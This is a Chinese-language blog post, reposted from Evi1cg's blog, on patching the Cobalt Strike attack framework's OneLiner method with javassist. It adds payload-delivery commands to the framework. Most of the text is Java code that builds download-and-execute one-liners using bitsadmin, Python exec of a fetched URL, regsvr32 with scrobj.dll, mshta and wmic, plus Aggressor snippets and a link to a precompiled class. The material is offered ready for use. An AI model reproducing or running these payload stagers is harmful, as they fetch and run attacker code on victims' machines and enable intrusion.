Cobal Strike 自定义OneLiner

华盟学院山东省第二期线下学习计划

0x00 起因

在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:

Cobal Strike 自定义OneLiner

而且在生成以后打开site,只需要点击Copy URL就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:

Cobal Strike 自定义OneLiner

所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。

0x01 使用javassist修改class

javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载javassist ,新建一个java工程,右键工程导入javassist包。

Cobal Strike 自定义OneLiner

我们可能常用mshta http://host/test.png 的方式来请求payload,可以使用一下代码进行添加:

package changeclass;

import java.io.IOException;

import javassist.CannotCompileException;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.CtMethod;

import javassist.NotFoundException;

 public class change {

        public static void main(String[] args) {

            updateMethod();

        }

        public static void updateMethod(){

            try {

                ClassPool cPool = new ClassPool(true);

                    //如果该文件引入了其它类,需要利用类似如下方式声明

                //cPool.importPackage("java.util.List");             

                //设置cobaltstrike.jar文件的位置

                cPool.insertClassPath("/tmp/cobaltstrike.jar");     

                //获取该要修改的class对象

                CtClass cClass = cPool.get("common.CommonUtils");

                //获取到对应的方法

                CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");

                //更改该方法的内部实现

                //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称

                cMethod.setBody("{ if ("bitsadmin".equals($2)) {"

                        + "String f = garbage("temp");"

                        + "return "cmd.exe /c bitsadmin /transfer " + f + " " + $1 + " %APPDATA%\\" + f + ".exe&%APPDATA%\\" + f + ".exe&del %APPDATA%\\" + f + ".exe";}"

                        + "if ("powershell".equals($2)) {"

                        + "return PowerShellOneLiner($1);}"

                        + "if ("python".equals($2)) {"

                        + "return "python -c \"import urllib2; exec urllib2.urlopen('" + $1 + "').read();\"";}"

                        + "if ("regsvr32".equals($2)) {"

                        + "return "regsvr32 /s /n /u /i:" + $1 + " scrobj.dll";}"

                        + "if ("mshta".equals($2)) {"

                        + "return "mshta " + $1;}"

                        + "if ("wmic".equals($2)) {"

                        + "  return "wmic os get /format:\"" + $1 + "\"";}"

                        + "print_error("'" + $2 + "' for URL '" + $1 + "' does not have a one-liner");"

                        + "throw new RuntimeException("'" + $2 + "' for URL '" + $1 + "' does not have a one-liner");}");         

                //修改以后输出目录

                cClass.writeFile("/tmp/");               

                System.out.println("=======修改方法完=========");

            } catch (NotFoundException e) {

                e.printStackTrace();

            } catch (CannotCompileException e) {

                e.printStackTrace();

            } catch (IOException e) {

                e.printStackTrace();

            }

        }

}

在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1 开始,若该方法为非 static 方法,可以用 $0 来表示该方法实例自身,若该方法为 static 方法,则 $0 不可用。而且写的代码需要将",  进行转义。

运行此代码,可成功生成一个新的class:

Cobal Strike 自定义OneLiner

Cobal Strike 自定义OneLiner

将此class替换CS中的class就好了。

使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic

1

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain",

"Scripted Web Delivery (wmic)");


使用mshta

1

site_host(%options["host"], %options["port"], %options["htauri"],

$htadata, "application/hta", "Scripted Web Delivery (mshta)");

效果如下:

Cobal Strike 自定义OneLiner

已经编译好的class可以从这里下载

GITHUB:https://github.com/Ridter/CS_Chinese_support

文章出处:Evi1cg's blog   

www.idc126.com

原文链接:https://evi1cg.me/archives/Custom_Oneliner.html

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论